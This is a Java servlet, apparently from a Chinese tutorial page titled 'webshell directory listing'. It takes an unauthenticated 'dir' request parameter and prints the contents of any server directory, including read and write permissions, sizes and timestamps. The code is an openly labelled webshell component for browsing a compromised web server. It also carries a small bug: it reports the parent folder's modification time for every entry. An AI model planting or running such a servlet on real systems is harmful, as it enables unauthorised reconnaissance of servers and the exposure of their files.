1. package FileManager;
    2. import javax.servlet.ServletException;
    3. import javax.servlet.http.HttpServlet;
    4. import javax.servlet.http.HttpServletRequest;
    5. import javax.servlet.http.HttpServletResponse;
    6. import java.io.File;
    7. import java.io.IOException;
    8. import java.text.SimpleDateFormat;
    9. import java.util.ArrayList;
    10. import java.util.List;
    11. public class fmServlet extends HttpServlet {
    12. @Override
    13. protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
    14. doPost(req, resp);
    15. }
    16. @Override
    17. protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    18. response.setCharacterEncoding("GBK");
    19. String web_dir = request.getParameter("dir");
    20. List<String> current_dirs = list_dir(web_dir);
    21. for(String i:current_dirs){
    22. response.getWriter().println(i);
    23. }
    24. }
    25. public static List<String> list_dir(String web_dir) throws IOException {
    26. List<String> listFile = new ArrayList<>();
    27. if(web_dir == null || web_dir.equals("")){ web_dir = "."; }
    28. File file = new File(web_dir);
    29. File[] files = file.listFiles();
    30. if(files != null && files.length >0){
    31. for (File temp: files){
    32. listFile.add(temp.getName() + " || 是否为目录 " + temp.isDirectory() +
    33. " || 是否可读 " + temp.canRead() + " || 是否可写 " + temp.canWrite() +
    34. " || 文件大小 " + temp.length() +
    35. " || 最后修改时间 " + (new SimpleDateFormat("yyyy-MM-dd HH:mm:ss")).format(file.lastModified()));
    36. }
    37. }
    38. return listFile;
    39. }
    40. }

    webshell 列目录 - 图1